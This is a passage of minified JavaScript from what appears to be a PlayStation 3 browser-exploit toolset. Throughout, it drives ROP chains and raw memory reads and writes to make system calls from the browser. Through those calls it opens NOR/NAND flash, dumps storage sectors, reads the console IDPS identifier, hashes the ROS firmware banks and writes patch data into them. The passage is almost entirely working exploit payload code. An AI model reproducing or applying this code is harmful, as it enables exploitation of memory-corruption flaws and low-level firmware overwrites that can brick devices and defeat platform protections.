e>=273&&e<=1911&&(lockMutexes(),t=helper.rop.rrun(syscall32(helper.sc_fs_chmod,this.path,e)),lockMutexes()),0!==t&&Logger.error("File Object chmod: failed to apply permissions 0x"+e.toString(16)),t},this.open=function(t){var r=0;if(this.fd<0){Logger.info("File Object open"),this.mode=t||this.mode;var s=helper.heap.store("DEADBEEF"),o=helper.heap.store();lockMutexes(),r=helper.rop.rrun(syscall32(helper.sc_fs_open,this.path,this.mode,s,helper.fs_mode,o)),unlockMutexes();var l=helper.memory.upeek32(s);this.fd=3735928559!==l?l:-1,helper.heap.free([s,o]),(0!==r||this.fd<0)&&Logger.error("File Object open: failed to open "+e)}return r},this.close=function(t){var r=0;return this.fd>=0&&(lockMutexes(),r=helper.rop.rrun(syscall32(helper.sc_fs_close,this.fd)),unlockMutexes(),t&&this.buffer&&this.buffer.offset>0&&helper.buffer.free([this.buffer.offset]),0!==r?Logger.error("File Object close: failed to close "+e):(this.fd=-1,Logger.info("File Object closed"))),r},this.load=function(t,r,s,o){var l=2415919103;if(this.size<=0)return Logger.info("File Object load: no data to load in "+e),l;if(0!==(l=this.open(s))||this.fd<0)return l;t=t||this.size;var n=r||null;if(n||(helper.buffer.free([this.buffer.offset]),this.buffer=helper.buffer.create(t),n=this.buffer),n.size0)return l=2332033023,Logger.error("File Object.load: Buffer size = 0x"+n.size.toString(16)+" bytes. Cannot buffer 0x"+t.toString(16)+" bytes of data at 0x"+n.offset.toString(16)+" - error: 0x"+l.toString32()),l;if(n.offset<268435456)return l=2348810239,Logger.error("File Object.load: Buffer size = 0x"+n.size.toString(16)+" bytes. Cannot buffer 0x"+t.toString(16)+" bytes of data at 0x"+n.offset.toString(16)+" - error: 0x"+l.toString32()),l;if(Logger.info("File Object load: Size 0x"+t.toString(16)+" Buffer offset 0x"+n.offset.toString32()),lockMutexes(),parseInt(o)===o){var i=helper.heap.store();l=helper.rop.rrun(syscall32(helper.sc_fs_lseek,this.fd,o,0,i)),Logger.info("File Object load: Seeking file position 0x"+o.toString(16)),0===l&&o===helper.memory.upeek32(i)||Logger.error("File Object load error:"+l>0?" 0x"+l.toString(16):" seek operation failed"),helper.heap.free([i])}var a=helper.heap.store(8);l=helper.rop.rrun(syscall32(helper.sc_fs_read,this.fd,n.offset,t,a)),unlockMutexes();var p=helper.memory.upeek32(a+4);return helper.heap.free([a]),0!==l||p!==t?Logger.error("File Object load error:"+l>0?" 0x"+l.toString(16):" Loaded 0x"+p.toString(16)+" bytes but expected size is 0x"+load_size.toString(16)+" bytes.
File loading error"):Logger.info("File Object load: Data loaded successfully"),l},this.save=function(e,t,r,s){var o=2415919103,l=e||this.buffer;if(l.offset>=0&&l.size>=t&&t>0){var n=helper.heap.store(8);if(0!==(o=this.open(r||helper.fs_flag_create_rw))||this.fd<0)return o;if(lockMutexes(),parseInt(s)===s){var i=helper.heap.store();o=helper.rop.rrun(syscall32(helper.sc_fs_lseek,this.fd,s,0,i)),Logger.info("File Object save: Seeking file position 0x"+s.toString(16)),0===o&&s===helper.memory.upeek32(i)||Logger.error("File Object save error:"+o>0?" 0x"+o.toString(16):" seek operation failed"),helper.heap.free([i])}o=helper.rop.rrun(syscall32(helper.sc_fs_write,this.fd,l.offset,t,n)),unlockMutexes(),Logger.info("File Object save: Size 0x"+t.toString(16)+" Buffer offset 0x"+l.offset.toString32());var a=helper.memory.upeek32(n+4);Logger.info("File Object save: Number of bytes written to file 0x"+a.toString(16)),helper.heap.free([n]),a!==t?(this.size+=a,Logger.error("File Object save error: Number of bytes saved 0x"+a.toString(16)+" - Expected number of bytes to save 0x"+t.toString(16))):this.size+=t}else o=l.sizet.tls.size)return this.error.code=2415919099,void(this.error.msg="ROSHashObject creation failure - TLS storage size too low");stdc.memset(o,255,s),this.ret=[],this.rlen=[],this.log=[],this.sfx=[];var l=t.dump_start,n=t.data_buffer.offset;this.log[0]="Multithreaded ROS banks Hashing Operations:
Storage Object read - Number of Sectors: 0x"+28672..toString(16);for(var i="",a=0;aStorage Object read - Current Sector: 0x"+l.toString(16)+"
Storage Object read - Current Memory Buffer Offset: 0x"+n.toString(16),l+=helper.step_sector,n+=helper.step_sector*e.sector_size;this.log[0]+="
Storage Object read operation complete",this.sfx[0]=i,this.hash_r0=o,this.hash_r1=o+32;var p=e.is_nor(),c=p?16:48,d=p?7340048:7340064;Logger.info("ROSHashObject: ROS0 SHA256 Calculation Start Offset: 0x"+(t.data_buffer.offset+c).toString(16)),Logger.info("ROSHashObject: ROS0 SHA256 Hash Offset: 0x"+this.hash_r0.toString(16)),Logger.info("ROSHashObject: ROS1 SHA256 Calculation Start Offset: 0x"+(t.data_buffer.offset+d).toString(16)),Logger.info("ROSHashObject: ROS1 SHA256 Hash Offset: 0x"+this.hash_r1.toString(16)),i=p?"":vset_r30_r31()+vset_r30_r31()+vset_r30_r31()+vcall_subByOpd(stdc.getOPDbyName("memset"),t.data_buffer.offset+7340032+helper.patchfile_size,0,32),i+=vset_r30_r31()+vset_r30_r31()+vset_r30_r31()+vcall_subByOpd(sdk.getOPDbyName("cellCryptoPuSha256Hash"),this.hash_r1,t.data_buffer.offset+d,helper.patchfile_size),this.log[1]+="
Calculated ROS 1 Hash",this.sfx[1]=i;var u=vset_r30_r31()+vset_r30_r31()+vset_r30_r31();i=p?"":u+vcall_subByOpd(stdc.getOPDbyName("memset"),t.data_buffer.offset+helper.patchfile_size,0,48),i+=u+vcall_subByOpd(sdk.getOPDbyName("cellCryptoPuSha256Hash"),this.hash_r0,t.data_buffer.offset+c,helper.patchfile_size),this.log[2]+="
Calculated ROS 0 Hash",this.sfx[2]=i}else this.error.msg+="Storage Object cannot open"},patchObject=function(e,t){if(this.error={code:0,msg:""},!e||!t)return this.error.code=2415919098,void(this.error.msg="patchObject creation failure - bad arguments");if(this.error.code=e.open(),0===this.error.code){var r=t.sector_count/helper.step_sector/2,s=2*r*8,o=t.data_buffer.offset+t.data_buffer.size-1048576;stdc.memset(o,255,s),this.ret=[],this.wlen=[],this.log=[],this.sfp=[];for(var l=0,n=0,i="",a=0;a<2;a++){l=0===a?t.data_buffer.offset+t.offset_data.ros0:t.data_buffer.offset+t.offset_data.ros1,n=t.patch_start+a*(t.sector_count/2),this.log[a]+="Patch Object mt_write - Operation "+a.toString()+" - Number of Sectors: 0x"+(t.sector_count/2).toString(16)+" - Sector Start: 0x"+n.toString(16),this.wlen[a]=[],this.ret[a]=[];for(var p=0;pStorage Object write - Current Sector: 0x"+n.toString(16)+"
Storage Object write - Current Memory Buffer Offset: 0x"+l.toString(16),l+=helper.step_sector*e.sector_size,n+=helper.step_sector;this.log[a]+="
Patch Object mt_write - Operation "+a.toString()+" Completed",this.sfp[a]=i,i=""}this.log[1]+="
Patch Object Operations complete"}else this.error.msg+="Storage Object cannot open"},dumpObject=function(e,t,r){if(this.error={code:0,msg:""},!e||!r)return this.error.code=2415919098,void(this.error.msg="dumpObject creation failure - bad arguments");if(this.error.code=e.open(),0===this.error.code)if(this.error.code=t.open(helper.fs_flag_create_rw),0===this.error.code){r.nsec_iter=r.nsec_iter*e.sector_size<=r.buffer.size?r.nsec_iter:r.buffer.size/e.sector_size;var s=parseInt(r.dump_start)===r.dump_start?r.dump_start:0,o=Math.floor(r.sector_count/r.nsec_iter),l=r.sector_count-o*r.nsec_iter,n=Math.floor(r.nsec_iter/helper.step_sector),i=Math.floor(l/helper.step_sector),a=l-i*helper.step_sector,p=r.nsec_iter-n*helper.step_sector;if(0===o)this.error.code=2415919103,this.error.msg+="Arguments error: obj.sector_count % obj.nsec_iter must be 0 & obj.sector_count>obj.nsec_iter";else{var c=(o+1)*(n+1)*8+12*(o+1)+8*(i+1),d=r.tls.offset;stdc.memset(d,255,c),this.rret=[],this.rlen=[],this.wret=[],this.wlen=[],this.log=[],this.sfr=[],this.sfw=[];var u=r.save_offset>0?helper.patchfile_size:r.nsec_iter*e.sector_size,h=l*e.sector_size,g=0;this.log[0]="Multithreaded Dump Operations:
";for(var f="",_=0;_Dump Object mt_read - Number of Sectors: 0x"+r.nsec_iter.toString(16),this.rret[_]=[],this.rlen[_]=[];for(var m=0;mDump Object mt_read - Current Sector: 0x"+s.toString(16)+"
Dump Object mt_read - Current Memory Buffer Offset: 0x"+g.toString32(),s+=helper.step_sector,g+=helper.step_sector*e.sector_size;p>0&&(this.rret[_][n]=d,this.rlen[_][n]=d+4,d+=8,f+=vsyscall32(helper.sc_ssr,e.device_handle,0,s,p,g,this.rlen[_][n],34,0)+vstore_r3_word(this.rret[_][n]),this.log[_]+="
Dump Object mt_read - Current Sector: 0x"+s.toString(16)+"
Dump Object mt_read - Current Memory Buffer Offset: 0x"+g.toString32(),s+=p,g+=p*e.sector_size),this.sfr[_]=f,this.log[_]+="
Dump Object mt_read operation complete
Dump Object mt_save: Save Operations - Data Size 0x"+u.toString(16)+" Buffer offset 0x"+(r.buffer.offset+r.save_offset).toString32()+"
Dump Object mt_save: Save Operations - Complete",this.wlen[_]=d,this.wret[_]=d+8,d+=12,f=vsyscall32(helper.sc_fs_write,t.fd,r.buffer.offset+r.save_offset,u,this.wlen[_])+vstore_r3_word(this.wret[_]),this.sfw[_]=f}if(l>0){for(f="",g=r.buffer.offset,this.log[o]="
Dump Object mt_read - Number of Sectors: 0x"+r.nsec_iter.toString(16),this.rret[o]=[],this.rlen[o]=[],m=0;mDump Object mt_read - Current Sector: 0x"+s.toString32()+"
Dump Object mt_read - Current Memory Buffer Offset: 0x"+g.toString32(),s+=helper.step_sector,g+=helper.step_sector*e.sector_size;a>0&&(this.rret[o][i]=d,this.rlen[o][i]=d+4,d+=8,f+=vsyscall32(helper.sc_ssr,e.device_handle,0,s,a,g,this.rlen[o][i],34,0)+vstore_r3_word(this.rret[o][i]),this.log[o]+="
Dump Object mt_read - Current Sector: 0x"+s.toString32()+"
Dump Object mt_read - Current Memory Buffer Offset: 0x"+g.toString32(),s+=a,g+=a*e.sector_size),this.sfr[o]=f,this.log[o]+="
Dump Object mt_read operation complete
Dump Object mt_save: Save Operations - Data Size 0x"+u.toString(16)+" Buffer offset 0x"+(r.buffer.offset+r.save_offset).toString32()+"
Dump Object mt_save: Save Operations - Complete",this.wlen[o]=d,this.wret[o]=d+8,d+=12,f=vsyscall32(helper.sc_fs_write,t.fd,r.buffer.offset+r.save_offset,h,this.wlen[o])+vstore_r3_word(this.wret[o])+"",this.sfw[o]=f}}}else this.error.msg+="File Object in mode RW cannot open";else this.error.msg+="Storage Object cannot open"},storageObject=function(){this.device_handle=-1,this.current_sector=0,this.step_sector=helper.step_sector,this.buffer={offset:0,size:0};var e=helper.heap.store();this.totalsec=0,this.sector_size=0;var t=is_norflash();this.flash_type=t?UInt64("0100000000000004"):UInt64("0100000000000001"),this.is_nor=function(){return t},this.open=function(){var e=0;if(this.device_handle<=0){var t=helper.heap.store();e=helper.rop.rrun(syscall(helper.sc_sso,this.flash_type,0,t));var r=helper.memory.upeek32(t);if(helper.heap.free([t]),0!==e||r<=0)return Logger.error("Storage Object open: failed to open"),this.device_handle=-1,e;if(Logger.info("Storage Object opened"),this.device_handle=r,0===this.totalsec||0===this.sector_size){Logger.info("Storage Object get_device_info");var s=helper.heap.store(64);e=helper.rop.rrun(syscall(helper.sc_ssgdi,this.flash_type,s)),this.totalsec=helper.memory.upeek32(s+44),this.sector_size=helper.memory.upeek32(s+48),Logger.info("Storage Object Sector size: 0x"+this.sector_size.toString(16)+" bytes - Total Number of Sectors: 0x"+this.totalsec.toString(16)),helper.heap.free([s]),0!==e&&Logger.error("Storage Object get_device_info: failed to get data")}}return e},this.read=function(t,r,s){var o="Storage Object read - Number of Sectors: 0x"+t.toString(16),l=-1;if(0!==this.open()||this.device_handle<=0)return Logger.error("Storage Object read aborted"),l;this.current_sector=r||this.current_sector;var n=tStorage Object read - Current Sector: 0x"+this.current_sector.toString(16)+"
Storage Object read - Current Memory Buffer Offset: 0x"+c.toString(16),p=helper.memory.upeek32(e),(0!==l||pStorage Object read error:"+l>0?" 0x"+l.toString(16):" failed to read "+n.toString(16)+" sectors - Number of sectors read: 0x"+p.toString(16)),this.current_sector=this.current_sector+n,c+=n*this.sector_size;return a>0&&(l=helper.rop.rrun(syscall32(helper.sc_ssr,this.device_handle,0,this.current_sector,a,c,e,34)),o+="
Storage Object read - Current Sector: 0x"+this.current_sector.toString(16)+"
Storage Object read - Current Memory Buffer Offset: 0x"+c.toString(16),p=helper.memory.upeek32(e),(0!==l||pStorage Object read error:"+l>0?" 0x"+l.toString(16):" failed to read "+a.toString(16)+" sectors - Number of sectors read: 0x"+p.toString(16)),this.current_sector=this.current_sector+a,c+=a*this.sector_size),o+="
Storage Object read operation complete",Logger.info(o),l},this.write=function(r,s,o){var l="Storage Object write - Number of Sectors: 0x"+r.toString(16),n=-1;if(0!==this.open()||this.device_handle<=0)return Logger.error("Storage Object write aborted"),n;for(var i=rStorage Object write - Current Sector: 0x"+(d+h*i).toString(16)+"
Storage Object write - Current Memory Buffer Offset: 0x"+u.toString(16),c=helper.memory.upeek32(e),0===n&&c===i||(l+="
Storage Object write error:"+n>0?" 0x"+n.toString(16):" failed to write "+i.toString(16)+" sectors - Number of sectors written: 0x"+c.toString(16)),this.current_sector=this.current_sector+i,u+=i*this.sector_size;return p>0&&(n=helper.rop.rrun(syscall32(helper.sc_ssw,this.device_handle,0,d+r-p,p,u+(r-p)*this.sector_size,e,34)),l+="
Storage Object write - Current Sector: 0x"+(d+r-p).toString(16)+"
Storage Object write - Current Memory Buffer Offset: 0x"+u.toString(16),c=helper.memory.upeek32(e),0===n&&c===p||(l+="
Storage Object write error:"+n>0?" 0x"+n.toString(16):" failed to write "+p.toString(16)+" sectors - Number of sectors written: 0x"+c.toString(16)),0===n&&c!==p&&(n=2415919103),this.current_sector=this.current_sector+p,u+=p*this.sector_size),l+="Storage Object write operation complete",Logger.info(l),n},this.close=function(t){var r=0;return this.device_handle>0&&(Logger.info("Storage Object close"),0!==(r=helper.rop.rrun(syscall32(helper.sc_ssc,this.device_handle)))?Logger.error("Storage Object close failed"):(this.device_handle=-1,t||helper.buffer.free([this.buffer.offset]),helper.heap.free([e]))),r}},getIDPS=function(e,t){var r=helper.heap.store(512),s=e.read(1,t,{offset:r,size:512});s>0&&Logger.error("getIDPS: Storage Object Read Error : 0x"+s.toString(16));var o=helper.memory.upeeks(r+helper.idps_offset,16,!1);return helper.heap.free([r]),o},getActiveNandROS=function(e){var t=helper.heap.store(512),r=e.read(1,1024,{offset:t,size:512});r>0&&Logger.error("getActiveNandROS: Storage Object Read Error : 0x"+r.toString(16));var s=helper.memory.upeeks(t,16,!1);return helper.heap.free([t]),s},getDirList=function(e){return getFList(e,1)},getFileList=function(e){return getFList(e,2)},cleanStorage=function(e,t){stdc.memset(e,0,t)},getFItemsList=function(e,t,r){alert("getFList processing start");var s={files:[],folders:[]};if(!helper.worker.fe&&(helper.worker.fe=new workerThread("BGTOOLSET_WKR_FE"),!helper.worker.fe))return alert("FE Worker Thread Creation failed!"),s;helper.fsitems.ret=s,helper.fsitems.op=r,helper.fsitems.dest=t,helper.fsitems.bf=helper.worker.fe.getTLS().offset,alert("BGTOOLSET_WKR_FE created"),helper.memory.upoke32(helper.fsitems.bf,0),helper.memory.upokes(helper.fsitems.bf+4,e.ins[0],!0),alert("Queueing opendir"),helper.worker.fe.run(vsyscall32(helper.sc_fs_opendir,helper.fsitems.bf+4,helper.fsitems.bf),"Scanning Directory "+pp,function(){alert("opendir")},function(){alert("opendir done"),fd=helper.memory.upeek32(helper.fsitems.bf);var t=vsyscall32(helper.sc_fs_readdir,fd,helper.fsitems.bf,helper.fsitems.bf+260)+vsyscall32(helper.sc_fs_readdir,fd,helper.fsitems.bf+268,helper.fsitems.bf+528)+vsyscall32(helper.sc_fs_readdir,fd,helper.fsitems.bf+536,helper.fsitems.bf+796)+vsyscall32(helper.sc_fs_readdir,fd,helper.fsitems.bf+804,helper.fsitems.bf+1064);!function r(s){cleanStorage(helper.fsitems.bf,1280),helper.worker.fe.run(t,"Scanning Directory Item "+(s.files.length+s.folders.length).toString(),function(){alert("readdir")},function(){for(var t=helper.memory.upeeks(helper.fsitems.bf,1072),o=0;o<4;o++){var l=268*o;if(0===parseInt(t.substr(2*(l+264),8),16))return helper.fsitems.ret=s,void helper.worker.fe.run(vsyscall32(helper.sc_fs_closedir,fd),"Scan Directory Close",function(){alert("closedir")},function(){jQuery.each(helper.fsitems.ret.files,function(e,t){}),jQuery.each(helper.fsitems.ret.folders,function(t,r){e.ins.push(r)}),e.outs.push(e.ins.splice(0,1)),0===e.ins.length||getFItemsList(e,helper.fsitems.dest,helper.fsitems.op)});var n=t.substr(2*(l+2),2*parseInt(t.substr(2*(l+1),2),16)).fromAscii();if(0!==n.length&&"."!==n&&".."!==n){var i=parseInt(t.substr(2*l,2),16);2===i?s.files.push(n):1===i&&s.folders.push(n)}}r(s)})}(s)})},getFList=function(e,t){var r=helper.heap.store(e,!0),s=stdc.opendir(r),o=0,l=[];if(s>0)for(;(o=stdc.readdir(s))>0;){var n=helper.memory.upeeks(o+11,256,!0);helper.swf.leakbyte(o+10)===t&&l.push(n)}return stdc.closedir(s),helper.heap.free([r]),l},is_node=function(e,t,r,s){var o=!1;return $.each(t.children,function(t,l){var n=e.get_node(l);if(n.type===s&&n.text===r)return o=!0,!1}),o},is_treebase=function(e,t){return"string"==typeof e?"#"===e:"#"===t.instance.get_type(e)},_is=function(e,t){var r=!1;return $.each(e,function(e,s){if("string"==typeof t){if(t===s)return r=!0,!1}else if(t.id===s)return r=!0,!1}),r},is_parent=function(e,t){return _is(t.node.parents,e)},is_descendant=function(e,t){return _is(t.node.children_d,e)},is_child=function(e,t){return _is(t.node.children,e)},is_sibling=function(e,t){return _is(t.instance.get_node(t.node.parent).children,e)},get_disk_free_size=function(e){var t=helper.heap.store(helper.snull64),r=helper.heap.store(helper.snull64),s=null,o=null,l="string"==typeof e,n=l?helper.heap.store(e,!0):e,i=helper.rop.rrun(syscall32(helper.sc_fs_disk_free,n,t,r));return 0!==i?Logger.error("get_disk_free_size: sys_fs_disk_free error 0x"+i.toString(16)):(s=UInt64(helper.memory.upeeks(t,8)),o=UInt64(helper.memory.upeeks(r,8))),l?helper.heap.free([t,r,n]):helper.heap.free([t,r]),{total:s,available:o}},cellFsGetFreeSize=function(e){var t="string"==typeof e,r=t?helper.heap.store(e,!0):e,s=helper.heap.store(helper.snull64),o=helper.heap.store(),l=null,n=null,i=sys_fs.cellFsGetFreeSize(r,o,s);return 0!==i?Logger.error("cellFsGetFreeSize: error 0x"+i.toString(16)):(l=UInt64(helper.memory.upeeks(s,8)),n=helper.memory.upeek32(o)),t?helper.heap.free([o,s,r]):helper.heap.free([o,s]),{block_size:n,block_num:l}},getMountedPointList=function(e){var t={data:[],metadata:[],with_metadata:[]},r=helper.heap.store(helper.snull64),s=helper.rop.rrun(syscall32(helper.sc_fs_get_mount_info_size,r));0!==s&&Logger.error("testgetMountedPointList: getMountInfoSize error 0x"+s.toString(16));var o=helper.memory.upeek32(r+4),l=helper.heap.store(148*o),n=helper.heap.store(helper.snull64);0!==(s=helper.rop.rrun(syscall32(helper.sc_fs_get_mount_info,l,o,n)))&&Logger.error("testgetMountedPointList: getMountInfo error 0x"+s.toString(16));for(var i=helper.memory.upeek32(n+4),a=1;a0&&(clearInterval(s),s=0)}this.update=function(e){var t=s>0;t&&a(),n(e),t&&i()},this.get=function(){var e=s>0;return e&&a(),n(!0),e&&i(),o},this.loopstart=function(){i()},this.loopstop=function(){a()}},pfobj={patch_fo:null,num:0},savePatchFile=function(){dl_object.buffer&&dl_object.buffer.offset>0&&dl_object.buffer.size>0?(updateProgressDialog({dvalue:0,gvalue:60}),pbfm1.ulog("Preparing to save "+dl_object.default_task+" to "+dl_object.file_path),pfobj.patch_fo=new fileObject(dl_object.file_path,helper.fs_flag_create_rw),pfobj.num=0,updateProgressDialog({dvalue:25}),setTimeout(write_step,250)):(pbfm1.ulog("Invalid buffer error saving "+dl_object.default_task+" at "+dl_object.file_path),updateProgressDialog({dlabel:"Invalid buffer error",istatus:"error-image"}),Logger.error("Invalid buffer error saving "+dl_object.default_task+" at "+dl_object.file_path),updateProgressDialog({dvalue:100,gvalue:100}),dl_object.buffer.offset>2281701376&&dl_object.buffer.offset<2407530496&&helper.heap.free([dl_object.buffer.offset]),jQuery(".preloader").removeClass("ui-helper-hidden").addClass("ui-helper-hidden"))},write_step=function(){Logger.info("write_step: num="+pfobj.num.toString());var e=pfobj.patch_fo.save({offset:dl_object.buffer.offset+1048576*pfobj.num,size:dl_object.buffer.size-1048576*pfobj.num},6==pfobj.num?1048544:1048576,null,null);if(0!==e)return updateProgressDialog({dlabel:"IO errors - cleaning up file operations",dvalue:99,gvalue:99}),pbfm1.ulog("Error saving "+dl_object.default_task+" to "+dl_object.file_path),0!==(e=pfobj.patch_fo.close())?(Logger.error("Error 0x"+e.toString(16)+" closing "+dl_object.default_task+" at "+dl_object.file_path),pbfm1.ulog("Error 0x"+e.toString(16)+" closing "+dl_object.default_task+" at "+dl_object.file_path)):(pbfm1.ulog(dl_object.file_path+" closed"),Logger.info(dl_object.file_path+" closed")),updateProgressDialog({gvalue:100,dlabel:"Idle",glabel:"Downloaded Patch - IO Operations errors - check logs",istatus:"error-image"}),Logger.error("Error 0x"+e.toString(16)+" saving "+dl_object.default_task+" at "+dl_object.file_path),pfobj={patch_fo:null,num:0},void(dl_object=null);if(pfobj.num>=0&&pfobj.num<6)return updateProgressDialog({dvalue:35+10*pfobj.num,gvalue:60+5*pfobj.num}),pfobj.num++,void setTimeout(write_step,250);updateProgressDialog({dvalue:0,gvalue:90,dlabel:"Checking saved file size"}),pbfm1.ulog(dl_object.default_task+" data saved to "+dl_object.file_path),Logger.info(dl_object.default_task+" saved at "+dl_object.file_path);var t=pfobj.patch_fo.getsize();return Logger.info("File Size: 0x"+t.toString(16)),e=pfobj.patch_fo.close(),updateProgressDialog({dvalue:100,gvalue:95}),0!==e?(Logger.error("Error 0x"+e.toString(16)+" closing "+dl_object.default_task+" at "+dl_object.file_path),pbfm1.ulog("Error 0x"+e.toString(16)+" closing "+dl_object.default_task+" at "+dl_object.file_path),updateProgressDialog({gvalue:100,dlabel:"Idle",glabel:"Downloaded Patch - IO Operations errors - check logs",istatus:"error-image"}),pbfm1.ulog(dl_object.default_task+" was saved to "+dl_object.file_path)):(pbfm1.ulog(dl_object.file_path+" closed"),Logger.info(dl_object.file_path+" closed"),t===helper.patchfile_size?updateProgressDialog({gvalue:100,dlabel:"Idle",glabel:"Downloaded Patch file saved successfully",istatus:"success-image"}):updateProgressDialog({gvalue:100,dlabel:"Idle",glabel:"Downloaded Patch - IO Operations errors - check logs",istatus:"error-image"})),pfobj={patch_fo:null,num:0},void(dl_object=null)},save_info=function(e){var t=new Date;if(e.buffer&&e.buffer.offset>0&&e.buffer.size>0){pbfm2.updateStatusText("Saving "+e.default_task+" Progress"),pbfm2.updateProgressDialog({glabel:"Preparing for file operations",gvalue:0},t),pbfm2.ulog("Preparing to save "+e.default_task+" to "+e.file_path);var r=new fileObject(e.file_path,helper.fs_flag_create_rw);pbfm2.updateProgressDialog({glabel:"Saving data to file",gvalue:25},t);var s=r.save(e.buffer,e.buffer.size,null,null),o=!0,l=!1;0!==s?(o=!1,l=!0,pbfm2.ulog("Error saving "+e.default_task+" to "+e.file_path),pbfm2.updateProgressDialog({glabel:"IO errors - cleaning up file operations",gvalue:75},t),Logger.error("Error 0x"+s.toString(16)+" saving "+e.default_task+" at "+e.file_path)):(pbfm2.updateProgressDialog({glabel:"IO Operations OK - cleaning up file operations",gvalue:75},t),pbfm2.ulog(e.default_task+" data saved to "+e.file_path),Logger.info(e.default_task+" saved at "+e.file_path)),0!==(s=r.close())?(l=!0,Logger.error("Error 0x"+s.toString(16)+" closing "+e.default_task+" at "+e.file_path),pbfm2.ulog("Error 0x"+s.toString(16)+" closing "+e.default_task+" at "+e.file_path)):(pbfm2.ulog(e.file_path+" closed"),Logger.info(e.file_path+" closed")),l?(pbfm2.updateProgressDialog({glabel:"IO Operations errors - check logs",gvalue:100,istatus:"error-image"},t),o?pbfm2.ulog(e.default_task+" was saved to "+e.file_path):pbfm2.ulog(e.default_task+" was NOT saved to "+e.file_path)):pbfm2.updateProgressDialog({glabel:"IO operations complete",gvalue:100,istatus:"success-image"},t),delete r}else pbfm2.ulog("Invalid buffer error saving "+e.default_task+" at "+e.file_path),pbfm2.updateProgressDialog({glabel:"Invalid buffer error",gvalue:100,istatus:"error-image"},t),Logger.error("Invalid buffer error saving "+e.default_task+" at "+e.file_path);e.buffer.offset>2281701376&&e.buffer.offset<2407530496&&helper.heap.free([e.buffer.offset]),jQuery(".preloader").removeClass("ui-helper-hidden").addClass("ui-helper-hidden")},getJSTreeData=function(e,t,r,s){if("#"===t.id){var o=getMountedPointList(s);return o.data?Logger.debug(o):Logger.error("Mounted Point List error "+o),o.data}if("file"===t.type)return[];var l=e.get_fullpath(t),n=helper.heap.store(l,!0),i=helper.heap.store(),a=helper.heap.store(260),p=helper.heap.store(8),c=helper.rop.rrun(syscall32(helper.sc_fs_opendir,n,i)),d=helper.memory.upeek32(i),u=0,h=[];if(0===c&&d>=0){for(c=helper.rop.rrun(syscall32(helper.sc_fs_readdir,d,a,p)),u=helper.memory.upeek32(p+4);0===c&&0!==u;){var g=helper.memory.upeeks(a+2,helper.memory.upeek8(a+1),!0);if(g.length>0&&"."!==g&&".."!==g){var f=helper.memory.upeek8(a);2===f&&!0===r?h.push({text:g,type:"file"}):1===f&&h.push({text:g,type:"folder",children:!0})}c=helper.rop.rrun(syscall32(helper.sc_fs_readdir,d,a,p)),u=helper.memory.upeek32(p+4)}c=helper.rop.rrun(syscall32(helper.sc_fs_closedir,d))}return c>0&&Logger.error("getJSTreeData: Error 0x"+c.toString(16)),helper.heap.free([i,n,a,p]),h},getJSTreeData2=function(e,t,r,s){if("#"===t.id){var o=getMountedPointList(s);return o.data?Logger.debug(o):Logger.error("Mounted Point List error "+o),o.data}if("file"===t.type)return[];var l=0,n=0;if(helper.comp.fd<0){helper.comp.ret=[],helper.comp.node=t,l=3;var i=helper.heap.store(),a=helper.heap.store(e.get_fullpath(t),!0);return n=helper.rop.rrun(syscall32(helper.sc_fs_opendir,a,i)),helper.comp.fd=helper.memory.upeek32(i),helper.heap.free([i,a]),setTimeout(function(){e.load_node(t)},1e3),[]}var p=0,c=helper.heap.store(260),d=helper.heap.store(8);if(0===n&&helper.comp.fd>=0){for(var u=l;u<4;u++){if(n=helper.rop.rrun(syscall32(helper.sc_fs_readdir,helper.comp.fd,c,d)),p=helper.memory.upeek32(d+4),0!==n||0===p){if(n>0){Logger.error("getJSTreeData: readdir error 0x"+n.toString(16));break}break}var h=helper.memory.upeeks(c+2,helper.memory.upeek8(c+1),!0);if(h.length>0&&"."!==h&&".."!==h){var g=helper.memory.upeek8(c);2===g&&!0===r?helper.comp.ret.push({text:h,type:"file"}):1===g&&helper.comp.ret.push({text:h,type:"folder",children:!0})}}if(0!==n||0===p)return n>0&&Logger.error("getJSTreeData: readdir 0x"+n.toString(16)),n=helper.rop.rrun(syscall32(helper.sc_fs_closedir,helper.comp.fd)),helper.comp.fd=-1,n>0&&Logger.error("getJSTreeData: closedir Error 0x"+n.toString(16)),helper.heap.free([c,d]),0===helper.comp.ret.length?-1:helper.comp.ret;setTimeout(function(){e.load_node(t)},1250)}else n>0?Logger.error("getJSTreeData: opendir error 0x"+n.toString(16)):(Logger.error("getJSTreeData: opendir bad descriptor"),(n=helper.rop.rrun(syscall32(helper.sc_fs_closedir,helper.comp.fd)))>0?Logger.error("getJSTreeData: closedir error 0x"+n.toString(16)):helper.comp.fd=-1);return helper.heap.free([c,d]),[]},getJSTreeData_fast=function(e,t,r,s){if("#"===t.id)return helper.mplist=getMountedPointList(s),helper.mplist.data?Logger.debug(helper.mplist):Logger.error("Mounted Point List error "+helper.mplist),helper.mplist.data;if("file"===t.type)return[];if(helper.comp.fd<0){helper.comp.ret=[],helper.comp.bf>0&&helper.heap.free([helper.comp.bf]),helper.comp.bf=helper.heap.store(1072),helper.comp.node=t;var o=helper.heap.store(),l=helper.heap.store(e.get_fullpath(t),!0);return helper.rop.run(syscall32(helper.sc_fs_opendir,l,o)),helper.comp.fd=helper.memory.upeek32(o),helper.heap.free([o,l]),helper.comp.sfread=syscall32(helper.sc_fs_readdir,helper.comp.fd,helper.comp.bf,helper.comp.bf+260)+syscall32(helper.sc_fs_readdir,helper.comp.fd,helper.comp.bf+268,helper.comp.bf+528)+syscall32(helper.sc_fs_readdir,helper.comp.fd,helper.comp.bf+536,helper.comp.bf+796)+syscall32(helper.sc_fs_readdir,helper.comp.fd,helper.comp.bf+804,helper.comp.bf+1064),setTimeout(function(){e.load_node(t)},500),[]}if(helper.comp.fd>=0){helper.rop.run(helper.comp.sfread);for(var n=helper.memory.upeeks(helper.comp.bf,1072),i=0,a=0;a<4;a++){var p=268*a;if(0===(i=parseInt(n.substr(2*(p+264),8),16)))break;var c=n.substr(2*(p+2),2*parseInt(n.substr(2*(p+1),2),16)).fromAscii();if(0!==c.length&&"."!==c&&".."!==c){var d=parseInt(n.substr(2*p,2),16);if(2===d&&!0===r)helper.comp.ret.push({text:c,type:"file"});else{if(1!==d)continue;helper.comp.ret.push({text:c,type:"folder",children:!0})}}}if(0===i)return setTimeout(function(){helper.rop.run(syscall32(helper.sc_fs_closedir,helper.comp.fd)),helper.comp.fd=-1,helper.heap.free([helper.comp.bf]),helper.comp.bf=0,helper.comp.sfread=""},500),0===helper.comp.ret.length?-1:helper.comp.ret;setTimeout(function(){e.load_node(t)},500)}else Logger.error("getJSTreeData: opendir bad 